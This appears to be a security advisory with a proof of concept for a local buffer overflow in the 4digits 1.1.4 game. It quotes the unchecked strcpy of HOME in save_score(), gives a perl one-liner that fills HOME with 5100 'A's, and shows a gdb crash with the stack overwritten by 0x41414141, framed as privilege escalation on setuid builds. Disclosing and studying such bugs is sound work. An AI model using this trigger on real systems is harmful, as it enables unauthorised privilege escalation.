4digits 1.1.4 - Local Buffer Overflow (PoC)

4digits 1.1.4 Local Buffer Overflow Privilege Escalation ( if setuid/setgid )

Discoverd by N_A , N_A [at] tutanota.com
Downloaded and tested upon Kali Linux

Vendor has been notified.


Description
-------------

4digits is a guess-the-number puzzle game. It's also called Bulls and Cows, and in China people simply call it Guess-the-Number. The game's objective is to guess a four-digit number in 8 times.

https://sourceforge.net/projects/fourdigits/


Vulnerability
--------------

4digits version 1.1.4 and possibly earlier versions suffer from a buffer overflow vulnerability where possible code execution can occur and privileges can be escalated if this is setuid/setgid.

The vulnerability is found within the 4digits-text binary version of the game.
An environment variable is not checked thoroughly before it is passed to the function save_score() when a user wins at the game. An attacker may be able to execute arbitary code:

4digits-text.c:

/* save current score in the score file */
void save_score(const int time_taken) {
    time_t tm = time(NULL);
    struct tm *today = localtime(&tm);
    char tmpbuffer[129];
    today = localtime(&tm);
    char appdata_dir[4096]; //XXX why _PC_PATH_MAX is only 4?  <----- The buffer we over flow
    const char *score_filename = "4digits.4digits.scores";
    strcpy(appdata_dir, getenv("HOME"));    <------ Collecting "HOME"
    strcat(appdata_dir, "/.4digits/");
    char *scorefile = (char*)malloc(strlen(appdata_dir) + strlen(score_filename) + 1);
    if(!scorefile)
        err_exit(_("Memory allocation error.\n"));
    strcpy(scorefile, appdata_dir);      <------ Vulnerability here
    strcat(scorefile, score_filename);


The save_score() function is called when the user successfully wins at the game and this is when the vulnerability becomes active, as per example below:

First, set the HOME variable as below

$ export HOME=`perl -e 'print"A"x5100'`

Then , load the game into GDB ( if you want to debug it in real time )

$ gdb 4digits-text
GNU gdb (Debian 7.10-1+b1) 7.10
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from 4digits-text...done.
(gdb) run


To activate the bug you must run the game and then win/guess the right number:


(gdb) run
Starting program: /home/N/4digits-1.1.4/4digits-text 
Input a 4-digit number:1234
2A0B       7 times left.
Input a 4-digit number:7934
1A1B       6 times left.
Input a 4-digit number:8235
3A0B       5 times left.
Input a 4-digit number:8236
3A0B       4 times left.
Input a 4-digit number:8239
3A0B       3 times left.
Input a 4-digit number:8237
4A0B       2 times left.
You win! :) Used 120 sec.

Program received signal SIGSEGV, Segmentation fault.
__strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50
50  ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S: No such file or directory.


(gdb) i r
eax            0x0  0
ecx            0x1  1
edx            0x5  5
ebx            0x13f6  5110
esp            0xbfffd424  0xbfffd424
ebp            0xbfffe4f8  0xbfffe4f8
esi            0x0  0
edi            0x41414141  1094795585
eip            0xb7e854b6  0xb7e854b6 <__strlen_sse2_bsf+22>
eflags         0x10287  [ CF PF SF IF RF ]
cs             0x73  115
ss             0x7b  123
ds             0x7b  123
es             0x7b  123
fs             0x0  0
gs             0x33  51


(gdb) backtrace
#0  __strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50
#1  0x08048f8f in save_score (time_taken=1094795585) at 4digits-text.c:183
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x41414141 in ?? ()
#14 0x41414141 in ?? ()
#15 0x41414141 in ?? ()
#16 0x41414141 in ?? ()
#17 0x41414141 in ?? ()
#18 0x41414141 in ?? ()
#19 0x41414141 in ?? ()
#20 0x41414141 in ?? ()
#21 0x41414141 in ?? ()
#22 0x41414141 in ?? ()


By N_A , N_A [at] tutanota.com